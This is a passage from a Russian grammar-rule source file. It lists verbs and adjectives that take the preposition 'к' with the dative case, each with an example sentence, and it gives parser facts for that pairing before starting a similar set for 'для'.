rus_verbs:ПОЛЕТЕТЬ{}, // они стремительно полетели к земле. (ПОЛЕТЕТЬ К) rus_verbs:подойти{}, // помоги мне подойти к столу. (подойти к) rus_verbs:РАЗВЕРНУТЬ{}, // мужик развернул к нему коня. (РАЗВЕРНУТЬ К) rus_verbs:ПРИВЕЗТИ{}, // нас привезли прямо к королю. (ПРИВЕЗТИ К) rus_verbs:отпрянуть{}, // незнакомец отпрянул к стене. (отпрянуть к) rus_verbs:побежать{}, // Cергей побежал к двери. (побежать к) rus_verbs:отбросить{}, // сильный удар отбросил его к стене. (отбросить к) rus_verbs:ВЫНУДИТЬ{}, // они вынудили меня к сотрудничеству (ВЫНУДИТЬ К) rus_verbs:подтянуть{}, // он подтянул к себе стул и сел на него (подтянуть к) rus_verbs:сойти{}, // по узкой тропинке путники сошли к реке. (сойти к) rus_verbs:являться{}, // по ночам к нему являлись призраки. (являться к) rus_verbs:ГНАТЬ{}, // ледяной ветер гнал их к югу. (ГНАТЬ К) rus_verbs:ВЫВЕСТИ{}, // она вывела нас точно к месту. (ВЫВЕСТИ К) rus_verbs:выехать{}, // почти сразу мы выехали к реке. rus_verbs:пододвигаться{}, // пододвигайся к окну rus_verbs:броситься{}, // большая часть защитников стен бросилась к воротам. rus_verbs:представить{}, // Его представили к ордену. rus_verbs:двигаться{}, // между тем чудище неторопливо двигалось к берегу. rus_verbs:выскочить{}, // тем временем они выскочили к реке. rus_verbs:выйти{}, // тем временем они вышли к лестнице. rus_verbs:потянуть{}, // Мальчик схватил верёвку и потянул её к себе. rus_verbs:приложить{}, // приложить к детали повышенное усилие rus_verbs:пройти{}, // пройти к стойке регистрации (стойка регистрации - проверить проверку) rus_verbs:отнестись{}, // отнестись к животным с сочуствием rus_verbs:привязать{}, // привязать за лапу веревкой к колышку, воткнутому в землю rus_verbs:прыгать{}, // прыгать к хозяину на стол rus_verbs:приглашать{}, // приглашать к доктору rus_verbs:рваться{}, // Чужие люди рвутся к власти rus_verbs:понестись{}, // понестись к обрыву rus_verbs:питать{}, // питать привязанность к алкоголю rus_verbs:заехать{}, // Коля заехал к Оле rus_verbs:переехать{}, // переехать к родителям rus_verbs:ползти{}, // ползти к дороге rus_verbs:сводиться{}, // сводиться к элементарному действию rus_verbs:добавлять{}, // добавлять к общей сумме rus_verbs:подбросить{}, // подбросить к потолку rus_verbs:призывать{}, // призывать к спокойствию rus_verbs:пробираться{}, // пробираться к партизанам rus_verbs:отвезти{}, // отвезти к родителям rus_verbs:применяться{}, // применяться к уравнению rus_verbs:сходиться{}, // сходиться к точному решению rus_verbs:допускать{}, // допускать к сдаче зачета rus_verbs:свести{}, // свести к нулю rus_verbs:придвинуть{}, // придвинуть к мальчику rus_verbs:подготовить{}, // подготовить к печати rus_verbs:подобраться{}, // подобраться к оленю rus_verbs:заторопиться{}, // заторопиться к выходу rus_verbs:пристать{}, // пристать к берегу rus_verbs:поманить{}, // поманить к себе rus_verbs:припасть{}, // припасть к алтарю rus_verbs:притащить{}, // притащить к себе домой rus_verbs:прижимать{}, // прижимать к груди rus_verbs:подсесть{}, // подсесть к симпатичной девочке rus_verbs:придвинуться{}, // придвинуться к окну rus_verbs:отпускать{}, // отпускать к другу rus_verbs:пригнуться{}, // пригнуться к земле rus_verbs:пристроиться{}, // пристроиться к колонне rus_verbs:сгрести{}, // сгрести к себе rus_verbs:удрать{}, // удрать к цыганам rus_verbs:прибавиться{}, // прибавиться к общей сумме rus_verbs:присмотреться{}, // присмотреться к покупке rus_verbs:подкатить{}, // подкатить к трюму rus_verbs:клонить{}, // клонить ко сну rus_verbs:проследовать{}, // проследовать к выходу rus_verbs:пододвинуть{}, // пододвинуть к себе rus_verbs:применять{}, // применять к сотрудникам rus_verbs:прильнуть{}, // прильнуть к экранам rus_verbs:подвинуть{}, // подвинуть к себе rus_verbs:примчаться{}, // примчаться к папе rus_verbs:подкрасться{}, // подкрасться к жертве rus_verbs:привязаться{}, // привязаться к собаке rus_verbs:забирать{}, // забирать к себе rus_verbs:прорваться{}, // прорваться к кассе rus_verbs:прикасаться{}, // прикасаться к коже rus_verbs:уносить{}, // уносить к себе rus_verbs:подтянуться{}, // подтянуться к месту rus_verbs:привозить{}, // привозить к ветеринару rus_verbs:подползти{}, // подползти к зайцу rus_verbs:приблизить{}, // приблизить к глазам rus_verbs:применить{}, // применить к уравнению простое преобразование rus_verbs:приглядеться{}, // приглядеться к изображению rus_verbs:приложиться{}, // приложиться к ручке rus_verbs:приставать{}, // приставать к девчонкам rus_verbs:запрещаться{}, // запрещаться к показу rus_verbs:прибегать{}, // прибегать к насилию rus_verbs:побудить{}, // побудить к действиям rus_verbs:притягивать{}, // притягивать к себе rus_verbs:пристроить{}, // пристроить к полезному делу rus_verbs:приговорить{}, // приговорить к смерти rus_verbs:склоняться{}, // склоняться к прекращению разработки rus_verbs:подъезжать{}, // подъезжать к вокзалу rus_verbs:привалиться{}, // привалиться к забору rus_verbs:наклоняться{}, // наклоняться к щенку rus_verbs:подоспеть{}, // подоспеть к обеду rus_verbs:прилипнуть{}, // прилипнуть к окну rus_verbs:приволочь{}, // приволочь к себе rus_verbs:устремляться{}, // устремляться к вершине rus_verbs:откатиться{}, // откатиться к исходным позициям rus_verbs:побуждать{}, // побуждать к действиям rus_verbs:прискакать{}, // прискакать к кормежке rus_verbs:присматриваться{}, // присматриваться к новичку rus_verbs:прижиматься{}, // прижиматься к борту rus_verbs:жаться{}, // жаться к огню rus_verbs:передвинуть{}, // передвинуть к окну rus_verbs:допускаться{}, // допускаться к экзаменам rus_verbs:прикрепить{}, // прикрепить к корпусу rus_verbs:отправлять{}, // отправлять к специалистам rus_verbs:перебежать{}, // перебежать к врагам rus_verbs:притронуться{}, // притронуться к реликвии rus_verbs:заспешить{}, // заспешить к семье rus_verbs:ревновать{}, // ревновать к сопернице rus_verbs:подступить{}, // подступить к горлу rus_verbs:уводить{}, // уводить к ветеринару rus_verbs:побросать{}, // побросать к ногам rus_verbs:подаваться{}, // подаваться к ужину rus_verbs:приписывать{}, // приписывать к достижениям rus_verbs:относить{}, // относить к растениям rus_verbs:принюхаться{}, // принюхаться к ароматам rus_verbs:подтащить{}, // подтащить к себе rus_verbs:прислонить{}, // прислонить к стене rus_verbs:подплыть{}, // подплыть к бую rus_verbs:опаздывать{}, // опаздывать к стилисту rus_verbs:примкнуть{}, // примкнуть к деомнстрантам rus_verbs:стекаться{}, // стекаются к стенам тюрьмы rus_verbs:подготовиться{}, // подготовиться к марафону rus_verbs:приглядываться{}, // приглядываться к новичку rus_verbs:присоединяться{}, // присоединяться к сообществу rus_verbs:клониться{}, // клониться ко сну rus_verbs:привыкать{}, // привыкать к хорошему rus_verbs:принудить{}, // принудить к миру rus_verbs:уплыть{}, // уплыть к далекому берегу rus_verbs:утащить{}, // утащить к детенышам rus_verbs:приплыть{}, // приплыть к финишу rus_verbs:подбегать{}, // подбегать к хозяину rus_verbs:лишаться{}, // лишаться средств к существованию rus_verbs:приступать{}, // приступать к операции rus_verbs:пробуждать{}, // пробуждать лекцией интерес к математике rus_verbs:подключить{}, // подключить к трубе rus_verbs:подключиться{}, // подключиться к сети rus_verbs:прилить{}, // прилить к лицу rus_verbs:стучаться{}, // стучаться к соседям rus_verbs:пристегнуть{}, // пристегнуть к креслу rus_verbs:присоединить{}, // присоединить к сети rus_verbs:отбежать{}, // отбежать к противоположной стене rus_verbs:подвезти{}, // подвезти к набережной rus_verbs:прибегнуть{}, // прибегнуть к хитрости rus_verbs:приучить{}, // приучить к туалету rus_verbs:подталкивать{}, // подталкивать к выходу rus_verbs:прорываться{}, // прорываться к выходу rus_verbs:увозить{}, // увозить к ветеринару rus_verbs:засеменить{}, // засеменить к выходу rus_verbs:крепиться{}, // крепиться к потолку rus_verbs:прибрать{}, // прибрать к рукам rus_verbs:пристраститься{}, // пристраститься к наркотикам rus_verbs:поспеть{}, // поспеть к обеду rus_verbs:привязывать{}, // привязывать к дереву rus_verbs:прилагать{}, // прилагать к документам rus_verbs:переправить{}, // переправить к дедушке rus_verbs:подогнать{}, // подогнать к воротам rus_verbs:тяготеть{}, // тяготеть к социализму rus_verbs:подбираться{}, // подбираться к оленю rus_verbs:подступать{}, // подступать к горлу rus_verbs:примыкать{}, // примыкать к первому элементу rus_verbs:приладить{}, // приладить к велосипеду rus_verbs:подбрасывать{}, // подбрасывать к потолку rus_verbs:перевозить{}, // перевозить к новому месту дислокации rus_verbs:усаживаться{}, // усаживаться к окну rus_verbs:приближать{}, // приближать к глазам rus_verbs:попроситься{}, // попроситься к бабушке rus_verbs:прибить{}, // прибить к доске rus_verbs:перетащить{}, // перетащить к себе rus_verbs:прицепить{}, // прицепить к паровозу rus_verbs:прикладывать{}, // прикладывать к ране rus_verbs:устареть{}, // устареть к началу войны rus_verbs:причалить{}, // причалить к пристани rus_verbs:приспособиться{}, // приспособиться к опозданиям rus_verbs:принуждать{}, // принуждать к миру rus_verbs:соваться{}, // соваться к директору rus_verbs:протолкаться{}, // протолкаться к прилавку rus_verbs:приковать{}, // приковать к батарее rus_verbs:подкрадываться{}, // подкрадываться к суслику rus_verbs:подсадить{}, // подсадить к арестонту rus_verbs:прикатить{}, // прикатить к финишу rus_verbs:протащить{}, // протащить к владыке rus_verbs:сужаться{}, // сужаться к основанию rus_verbs:присовокупить{}, // присовокупить к пожеланиям rus_verbs:пригвоздить{}, // пригвоздить к доске rus_verbs:отсылать{}, // отсылать к первоисточнику rus_verbs:изготовиться{}, // изготовиться к прыжку rus_verbs:прилагаться{}, // прилагаться к покупке rus_verbs:прицепиться{}, // прицепиться к вагону rus_verbs:примешиваться{}, // примешиваться к вину rus_verbs:переселить{}, // переселить к старшекурсникам rus_verbs:затрусить{}, // затрусить к выходе rus_verbs:приспособить{}, // приспособить к обогреву rus_verbs:примериться{}, // примериться к аппарату rus_verbs:прибавляться{}, // прибавляться к пенсии rus_verbs:подкатиться{}, // подкатиться к воротам rus_verbs:стягивать{}, // стягивать к границе rus_verbs:дописать{}, // дописать к роману rus_verbs:подпустить{}, // подпустить к корове rus_verbs:склонять{}, // склонять к сотрудничеству rus_verbs:припечатать{}, // припечатать к стене rus_verbs:охладеть{}, // охладеть к музыке rus_verbs:пришить{}, // пришить к шинели rus_verbs:принюхиваться{}, // принюхиваться к ветру rus_verbs:подрулить{}, // подрулить к барышне rus_verbs:наведаться{}, // наведаться к оракулу rus_verbs:клеиться{}, // клеиться к конверту rus_verbs:перетянуть{}, // перетянуть к себе rus_verbs:переметнуться{}, // переметнуться к конкурентам rus_verbs:липнуть{}, // липнуть к сокурсницам rus_verbs:поковырять{}, // поковырять к выходу rus_verbs:подпускать{}, // подпускать к пульту управления rus_verbs:присосаться{}, // присосаться к источнику rus_verbs:приклеить{}, // приклеить к стеклу rus_verbs:подтягивать{}, // подтягивать к себе rus_verbs:подкатывать{}, // подкатывать к даме rus_verbs:притрагиваться{}, // притрагиваться к опухоли rus_verbs:слетаться{}, // слетаться к водопою rus_verbs:хаживать{}, // хаживать к батюшке rus_verbs:привлекаться{}, // привлекаться к административной ответственности rus_verbs:подзывать{}, // подзывать к себе rus_verbs:прикладываться{}, // прикладываться к иконе rus_verbs:подтягиваться{}, // подтягиваться к парламенту rus_verbs:прилепить{}, // прилепить к стенке холодильника rus_verbs:пододвинуться{}, // пододвинуться к экрану rus_verbs:приползти{}, // приползти к дереву rus_verbs:запаздывать{}, // запаздывать к обеду rus_verbs:припереть{}, // припереть к стене rus_verbs:нагибаться{}, // нагибаться к цветку инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять к воротам деепричастие:сгоняв{}, rus_verbs:поковылять{}, // поковылять к выходу rus_verbs:привалить{}, // привалить к столбу rus_verbs:отпроситься{}, // отпроситься к родителям rus_verbs:приспосабливаться{}, // приспосабливаться к новым условиям rus_verbs:прилипать{}, // прилипать к рукам rus_verbs:подсоединить{}, // подсоединить к приборам rus_verbs:приливать{}, // приливать к голове rus_verbs:подселить{}, // подселить к другим новичкам rus_verbs:прилепиться{}, // прилепиться к шкуре rus_verbs:подлетать{}, // подлетать к пункту назначения rus_verbs:пристегнуться{}, // пристегнуться к креслу ремнями rus_verbs:прибиться{}, // прибиться к стае, улетающей на юг rus_verbs:льнуть{}, // льнуть к заботливому хозяину rus_verbs:привязываться{}, // привязываться к любящему хозяину rus_verbs:приклеиться{}, // приклеиться к спине rus_verbs:стягиваться{}, // стягиваться к сенату rus_verbs:подготавливать{}, // подготавливать к выходу на арену rus_verbs:приглашаться{}, // приглашаться к доктору rus_verbs:причислять{}, // причислять к отличникам rus_verbs:приколоть{}, // приколоть к лацкану rus_verbs:наклонять{}, // наклонять к горизонту rus_verbs:припадать{}, // припадать к первоисточнику rus_verbs:приобщиться{}, // приобщиться к культурному наследию rus_verbs:придираться{}, // придираться к мелким ошибкам rus_verbs:приучать{}, // приучать к лотку rus_verbs:промотать{}, // промотать к началу rus_verbs:прихлынуть{}, // прихлынуть к голове rus_verbs:пришвартоваться{}, // пришвартоваться к первому пирсу rus_verbs:прикрутить{}, // прикрутить к велосипеду rus_verbs:подплывать{}, // подплывать к лодке rus_verbs:приравниваться{}, // приравниваться к побегу rus_verbs:подстрекать{}, // подстрекать к вооруженной борьбе с оккупантами rus_verbs:изготовляться{}, // изготовляться к прыжку из стратосферы rus_verbs:приткнуться{}, // приткнуться к первой группе туристов rus_verbs:приручить{}, // приручить котика к лотку rus_verbs:приковывать{}, // приковывать к себе все внимание прессы rus_verbs:приготовляться{}, // приготовляться к первому экзамену rus_verbs:остыть{}, // Вода остынет к утру. rus_verbs:приехать{}, // Он приедет к концу будущей недели. rus_verbs:подсаживаться{}, rus_verbs:успевать{}, // успевать к стилисту rus_verbs:привлекать{}, // привлекать к себе внимание прилагательное:устойчивый{}, // переводить в устойчивую к перегреву форму rus_verbs:прийтись{}, // прийтись ко двору инфинитив:адаптировать{вид:несоверш}, // машина была адаптирована к условиям крайнего севера инфинитив:адаптировать{вид:соверш}, глагол:адаптировать{вид:несоверш}, глагол:адаптировать{вид:соверш}, деепричастие:адаптировав{}, деепричастие:адаптируя{}, прилагательное:адаптирующий{}, прилагательное:адаптировавший{ вид:соверш }, //+прилагательное:адаптировавший{ вид:несоверш }, прилагательное:адаптированный{}, инфинитив:адаптироваться{вид:соверш}, // тело адаптировалось к условиям суровой зимы инфинитив:адаптироваться{вид:несоверш}, глагол:адаптироваться{вид:соверш}, глагол:адаптироваться{вид:несоверш}, деепричастие:адаптировавшись{}, деепричастие:адаптируясь{}, прилагательное:адаптировавшийся{вид:соверш}, //+прилагательное:адаптировавшийся{вид:несоверш}, прилагательное:адаптирующийся{}, rus_verbs:апеллировать{}, // оратор апеллировал к патриотизму своих слушателей rus_verbs:близиться{}, // Шторм близится к побережью rus_verbs:доставить{}, // Эскиз ракеты, способной доставить корабль к Луне rus_verbs:буксировать{}, // Буксир буксирует танкер к месту стоянки rus_verbs:причислить{}, // Мы причислили его к числу экспертов rus_verbs:вести{}, // Наша партия ведет народ к процветанию rus_verbs:взывать{}, // Учителя взывают к совести хулигана rus_verbs:воззвать{}, // воззвать соплеменников к оружию rus_verbs:возревновать{}, // возревновать к поклонникам rus_verbs:воспылать{}, // Коля воспылал к Оле страстной любовью rus_verbs:восходить{}, // восходить к вершине rus_verbs:восшествовать{}, // восшествовать к вершине rus_verbs:успеть{}, // успеть к обеду rus_verbs:повернуться{}, // повернуться к кому-то rus_verbs:обратиться{}, // обратиться к охраннику rus_verbs:звать{}, // звать к столу rus_verbs:отправиться{}, // отправиться к парикмахеру rus_verbs:обернуться{}, // обернуться к зовущему rus_verbs:явиться{}, // явиться к следователю rus_verbs:уехать{}, // уехать к родне rus_verbs:прибыть{}, // прибыть к перекличке rus_verbs:привыкнуть{}, // привыкнуть к голоду rus_verbs:уходить{}, // уходить к цыганам rus_verbs:привести{}, // привести к себе rus_verbs:шагнуть{}, // шагнуть к славе rus_verbs:относиться{}, // относиться к прежним периодам rus_verbs:подослать{}, // подослать к врагам rus_verbs:поспешить{}, // поспешить к обеду rus_verbs:зайти{}, // зайти к подруге rus_verbs:позвать{}, // позвать к себе rus_verbs:потянуться{}, // потянуться к рычагам rus_verbs:пускать{}, // пускать к себе rus_verbs:отвести{}, // отвести к врачу rus_verbs:приблизиться{}, // приблизиться к решению задачи rus_verbs:прижать{}, // прижать к стене rus_verbs:отправить{}, // отправить к доктору rus_verbs:падать{}, // падать к многолетним минимумам rus_verbs:полезть{}, // полезть к дерущимся rus_verbs:лезть{}, // Ты сама ко мне лезла! rus_verbs:направить{}, // направить к майору rus_verbs:приводить{}, // приводить к дантисту rus_verbs:кинуться{}, // кинуться к двери rus_verbs:поднести{}, // поднести к глазам rus_verbs:подниматься{}, // подниматься к себе rus_verbs:прибавить{}, // прибавить к результату rus_verbs:зашагать{}, // зашагать к выходу rus_verbs:склониться{}, // склониться к земле rus_verbs:стремиться{}, // стремиться к вершине rus_verbs:лететь{}, // лететь к родственникам rus_verbs:ездить{}, // ездить к любовнице rus_verbs:приближаться{}, // приближаться к финише rus_verbs:помчаться{}, // помчаться к стоматологу rus_verbs:прислушаться{}, // прислушаться к происходящему rus_verbs:изменить{}, // изменить к лучшему собственную жизнь rus_verbs:проявить{}, // проявить к погибшим сострадание rus_verbs:подбежать{}, // подбежать к упавшему rus_verbs:терять{}, // терять к партнерам доверие rus_verbs:пропустить{}, // пропустить к певцу rus_verbs:подвести{}, // подвести к глазам rus_verbs:меняться{}, // меняться к лучшему rus_verbs:заходить{}, // заходить к другу rus_verbs:рвануться{}, // рвануться к воде rus_verbs:привлечь{}, // привлечь к себе внимание rus_verbs:присоединиться{}, // присоединиться к сети rus_verbs:приезжать{}, // приезжать к дедушке rus_verbs:дернуться{}, // дернуться к борту rus_verbs:подъехать{}, // подъехать к воротам rus_verbs:готовиться{}, // готовиться к дождю rus_verbs:убежать{}, // убежать к маме rus_verbs:поднимать{}, // поднимать к источнику сигнала rus_verbs:отослать{}, // отослать к руководителю rus_verbs:приготовиться{}, // приготовиться к худшему rus_verbs:приступить{}, // приступить к выполнению обязанностей rus_verbs:метнуться{}, // метнуться к фонтану rus_verbs:прислушиваться{}, // прислушиваться к голосу разума rus_verbs:побрести{}, // побрести к выходу rus_verbs:мчаться{}, // мчаться к успеху rus_verbs:нестись{}, // нестись к обрыву rus_verbs:попадать{}, // попадать к хорошему костоправу rus_verbs:опоздать{}, // опоздать к психотерапевту rus_verbs:посылать{}, // посылать к доктору rus_verbs:поплыть{}, // поплыть к берегу rus_verbs:подтолкнуть{}, // подтолкнуть к активной работе rus_verbs:отнести{}, // отнести животное к ветеринару rus_verbs:прислониться{}, // прислониться к стволу rus_verbs:наклонить{}, // наклонить к миске с молоком rus_verbs:прикоснуться{}, // прикоснуться к поверхности rus_verbs:увезти{}, // увезти к бабушке rus_verbs:заканчиваться{}, // заканчиваться к концу путешествия rus_verbs:подозвать{}, // подозвать к себе rus_verbs:улететь{}, // улететь к теплым берегам rus_verbs:ложиться{}, // ложиться к мужу rus_verbs:убираться{}, // убираться к чертовой бабушке rus_verbs:класть{}, // класть к другим документам rus_verbs:доставлять{}, // доставлять к подъезду rus_verbs:поворачиваться{}, // поворачиваться к источнику шума rus_verbs:заглядывать{}, // заглядывать к любовнице rus_verbs:занести{}, // занести к заказчикам rus_verbs:прибежать{}, // прибежать к папе rus_verbs:притянуть{}, // притянуть к причалу rus_verbs:переводить{}, // переводить в устойчивую к перегреву форму rus_verbs:подать{}, // он подал лимузин к подъезду rus_verbs:подавать{}, // она подавала соус к мясу rus_verbs:приобщаться{}, // приобщаться к культуре прилагательное:неспособный{}, // Наша дочка неспособна к учению. прилагательное:неприспособленный{}, // Эти устройства неприспособлены к работе в жару прилагательное:предназначенный{}, // Старый дом предназначен к сносу. прилагательное:внимательный{}, // Она всегда внимательна к гостям. прилагательное:назначенный{}, // Дело назначено к докладу. прилагательное:разрешенный{}, // Эта книга разрешена к печати. прилагательное:снисходительный{}, // Этот учитель снисходителен к ученикам. прилагательное:готовый{}, // Я готов к экзаменам. прилагательное:требовательный{}, // Он очень требователен к себе. прилагательное:жадный{}, // Он жаден к деньгам. прилагательное:глухой{}, // Он глух к моей просьбе. прилагательное:добрый{}, // Он добр к детям. rus_verbs:проявлять{}, // Он всегда проявлял живой интерес к нашим делам. rus_verbs:плыть{}, // Пароход плыл к берегу. rus_verbs:пойти{}, // я пошел к доктору rus_verbs:придти{}, // придти к выводу rus_verbs:заглянуть{}, // Я заглянул к вам мимоходом. rus_verbs:принадлежать{}, // Это существо принадлежит к разряду растений. rus_verbs:подготавливаться{}, // Ученики подготавливаются к экзаменам. rus_verbs:спускаться{}, // Улица круто спускается к реке. rus_verbs:спуститься{}, // Мы спустились к реке. rus_verbs:пустить{}, // пускать ко дну rus_verbs:приговаривать{}, // Мы приговариваем тебя к пожизненному веселью! rus_verbs:отойти{}, // Дом отошёл к племяннику. rus_verbs:отходить{}, // Коля отходил ко сну. rus_verbs:приходить{}, // местные жители к нему приходили лечиться rus_verbs:кидаться{}, // не кидайся к столу rus_verbs:ходить{}, // Она простудилась и сегодня ходила к врачу. rus_verbs:закончиться{}, // Собрание закончилось к вечеру. rus_verbs:послать{}, // Они выбрали своих депутатов и послали их к заведующему. rus_verbs:направиться{}, // Мы сошли на берег и направились к городу. rus_verbs:направляться{}, rus_verbs:свестись{}, // Всё свелось к нулю. rus_verbs:прислать{}, // Пришлите кого-нибудь к ней. rus_verbs:присылать{}, // Он присылал к должнику своих головорезов rus_verbs:подлететь{}, // Самолёт подлетел к лесу. rus_verbs:возвращаться{}, // он возвращается к старой работе глагол:находиться{ вид:несоверш }, инфинитив:находиться{ вид:несоверш }, деепричастие:находясь{}, прилагательное:находившийся{}, прилагательное:находящийся{}, // Япония находится к востоку от Китая. rus_verbs:возвращать{}, // возвращать к жизни rus_verbs:располагать{}, // Атмосфера располагает к работе. rus_verbs:возвратить{}, // Колокольный звон возвратил меня к прошлому. rus_verbs:поступить{}, // К нам поступила жалоба. rus_verbs:поступать{}, // К нам поступают жалобы. rus_verbs:прыгнуть{}, // Белка прыгнула к дереву rus_verbs:торопиться{}, // пассажиры торопятся к выходу rus_verbs:поторопиться{}, // поторопитесь к выходу rus_verbs:вернуть{}, // вернуть к активной жизни rus_verbs:припирать{}, // припирать к стенке rus_verbs:проваливать{}, // Проваливай ко всем чертям! rus_verbs:вбежать{}, // Коля вбежал ко мне rus_verbs:вбегать{}, // Коля вбегал ко мне глагол:забегать{ вид:несоверш }, // Коля забегал ко мне rus_verbs:постучаться{}, // Коля постучался ко мне. rus_verbs:повести{}, // Спросил я озорного Антонио и повел его к дому rus_verbs:понести{}, // Мы понесли кота к ветеринару rus_verbs:принести{}, // Я принес кота к ветеринару rus_verbs:устремиться{}, // Мы устремились к ручью. rus_verbs:подводить{}, // Учитель подводил детей к аквариуму rus_verbs:следовать{}, // Я получил приказ следовать к месту нового назначения. rus_verbs:пригласить{}, // Я пригласил к себе товарищей. rus_verbs:собираться{}, // Я собираюсь к тебе в гости. rus_verbs:собраться{}, // Маша собралась к дантисту rus_verbs:сходить{}, // Я схожу к врачу. rus_verbs:идти{}, // Маша уверенно шла к Пете rus_verbs:измениться{}, // Основные индексы рынка акций РФ почти не изменились к закрытию. rus_verbs:отыграть{}, // Российский рынок акций отыграл падение к закрытию. rus_verbs:заканчивать{}, // Заканчивайте к обеду rus_verbs:обращаться{}, // Обращайтесь ко мне в любое время rus_verbs:окончить{}, // rus_verbs:дозвониться{}, // Я не мог к вам дозвониться. глагол:прийти{}, инфинитив:прийти{}, // Антонио пришел к Элеонор rus_verbs:уйти{}, // Антонио ушел к Элеонор rus_verbs:бежать{}, // Антонио бежит к Элеонор rus_verbs:спешить{}, // Антонио спешит к Элеонор rus_verbs:скакать{}, // Антонио скачет к Элеонор rus_verbs:красться{}, // Антонио крадётся к Элеонор rus_verbs:поскакать{}, // беглецы поскакали к холмам rus_verbs:перейти{} // Антонио перешел к Элеонор } fact гл_предл { if context { Гл_К_Дат предлог:к{} *:*{ падеж:дат } } then return true } fact гл_предл { if context { Гл_К_Дат предлог:к{} @regex("[a-z]+[0-9]*") } then return true } // для остальных падежей запрещаем. fact гл_предл { if context { * предлог:к{} *:*{} } then return false,-5 } #endregion Предлог_К #region Предлог_ДЛЯ // ------------------- С ПРЕДЛОГОМ 'ДЛЯ' ---------------------- wordentry_set Гл_ДЛЯ_Род={ частица:нет{}, // для меня нет других путей. частица:нету{}, rus_verbs:ЗАДЕРЖАТЬ{}, // полиция может задержать их для выяснения всех обстоятельств и дальнейшего опознания. (ЗАДЕРЖАТЬ) rus_verbs:ДЕЛАТЬСЯ{}, // это делалось для людей (ДЕЛАТЬСЯ) rus_verbs:обернуться{}, // обернулась для греческого рынка труда банкротствами предприятий и масштабными сокращениями (обернуться) rus_verbs:ПРЕДНАЗНАЧАТЬСЯ{}, // Скорее всего тяжелый клинок вообще не предназначался для бросков (ПРЕДНАЗНАЧАТЬСЯ) rus_verbs:ПОЛУЧИТЬ{}, // ты можешь получить его для нас? (ПОЛУЧИТЬ) rus_verbs:ПРИДУМАТЬ{}, // Ваш босс уже придумал для нас веселенькую смерть. (ПРИДУМАТЬ) rus_verbs:оказаться{}, // это оказалось для них тяжелой задачей rus_verbs:ГОВОРИТЬ{}, // теперь она говорила для нас обоих (ГОВОРИТЬ) rus_verbs:ОСВОБОДИТЬ{}, // освободить ее для тебя? (ОСВОБОДИТЬ) rus_verbs:работать{}, // Мы работаем для тех, кто ценит удобство rus_verbs:СТАТЬ{}, // кем она станет для него? (СТАТЬ) rus_verbs:ЯВИТЬСЯ{}, // вы для этого явились сюда? (ЯВИТЬСЯ) rus_verbs:ПОТЕРЯТЬ{}, // жизнь потеряла для меня всякий смысл (ПОТЕРЯТЬ) rus_verbs:УТРАТИТЬ{}, // мой мир утратил для меня всякое подобие смысла (УТРАТИТЬ) rus_verbs:ДОСТАТЬ{}, // ты должен достать ее для меня! (ДОСТАТЬ) rus_verbs:БРАТЬ{}, // некоторые берут для себя (БРАТЬ) rus_verbs:ИМЕТЬ{}, // имею для вас новость (ИМЕТЬ) rus_verbs:ЖДАТЬ{}, // тебя ждут для разговора (ЖДАТЬ) rus_verbs:ПРОПАСТЬ{}, // совсем пропал для мира (ПРОПАСТЬ) rus_verbs:ПОДНЯТЬ{}, // нас подняли для охоты (ПОДНЯТЬ) rus_verbs:ОСТАНОВИТЬСЯ{}, // время остановилось для нее (ОСТАНОВИТЬСЯ) rus_verbs:НАЧИНАТЬСЯ{}, // для него начинается новая жизнь (НАЧИНАТЬСЯ) rus_verbs:КОНЧИТЬСЯ{}, // кончились для него эти игрушки (КОНЧИТЬСЯ) rus_verbs:НАСТАТЬ{}, // для него настало время действовать (НАСТАТЬ) rus_verbs:СТРОИТЬ{}, // для молодых строили новый дом (СТРОИТЬ) rus_verbs:ВЗЯТЬ{}, // возьми для защиты этот меч (ВЗЯТЬ) rus_verbs:ВЫЯСНИТЬ{}, // попытаюсь выяснить для вас всю цепочку (ВЫЯСНИТЬ) rus_verbs:ПРИГОТОВИТЬ{}, // давай попробуем приготовить для них сюрприз (ПРИГОТОВИТЬ) rus_verbs:ПОДХОДИТЬ{}, // берег моря мертвых подходил для этого идеально (ПОДХОДИТЬ) rus_verbs:ОСТАТЬСЯ{}, // внешний вид этих тварей остался для нас загадкой (ОСТАТЬСЯ) rus_verbs:ПРИВЕЗТИ{}, // для меня привезли пиво (ПРИВЕЗТИ) прилагательное:ХАРАКТЕРНЫЙ{}, // Для всей территории края характерен умеренный континентальный климат (ХАРАКТЕРНЫЙ) rus_verbs:ПРИВЕСТИ{}, // для меня белую лошадь привели (ПРИВЕСТИ ДЛЯ) rus_verbs:ДЕРЖАТЬ{}, // их держат для суда (ДЕРЖАТЬ ДЛЯ) rus_verbs:ПРЕДОСТАВИТЬ{}, // вьетнамец предоставил для мигрантов места проживания в ряде вологодских общежитий (ПРЕДОСТАВИТЬ ДЛЯ) rus_verbs:ПРИДУМЫВАТЬ{}, // придумывая для этого разнообразные причины (ПРИДУМЫВАТЬ ДЛЯ) rus_verbs:оставить{}, // или вообще решили оставить планету для себя rus_verbs:оставлять{}, rus_verbs:ВОССТАНОВИТЬ{}, // как ты можешь восстановить это для меня? (ВОССТАНОВИТЬ ДЛЯ) rus_verbs:ТАНЦЕВАТЬ{}, // а вы танцевали для меня танец семи покрывал (ТАНЦЕВАТЬ ДЛЯ) rus_verbs:ДАТЬ{}, // твой принц дал мне это для тебя! (ДАТЬ ДЛЯ) rus_verbs:ВОСПОЛЬЗОВАТЬСЯ{}, // мужчина из лагеря решил воспользоваться для передвижения рекой (ВОСПОЛЬЗОВАТЬСЯ ДЛЯ) rus_verbs:СЛУЖИТЬ{}, // они служили для разговоров (СЛУЖИТЬ ДЛЯ) rus_verbs:ИСПОЛЬЗОВАТЬСЯ{}, // Для вычисления радиуса поражения ядерных взрывов используется формула (ИСПОЛЬЗОВАТЬСЯ ДЛЯ) rus_verbs:ПРИМЕНЯТЬСЯ{}, // Применяется для изготовления алкогольных коктейлей (ПРИМЕНЯТЬСЯ ДЛЯ) rus_verbs:СОВЕРШАТЬСЯ{}, // Для этого совершался специальный магический обряд (СОВЕРШАТЬСЯ ДЛЯ) rus_verbs:ПРИМЕНИТЬ{}, // а здесь попробуем применить ее для других целей. (ПРИМЕНИТЬ ДЛЯ) rus_verbs:ПОЗВАТЬ{}, // ты позвал меня для настоящей работы. (ПОЗВАТЬ ДЛЯ) rus_verbs:НАЧАТЬСЯ{}, // очередной денек начался для Любки неудачно (НАЧАТЬСЯ ДЛЯ) rus_verbs:ПОСТАВИТЬ{}, // вас здесь для красоты поставили? (ПОСТАВИТЬ 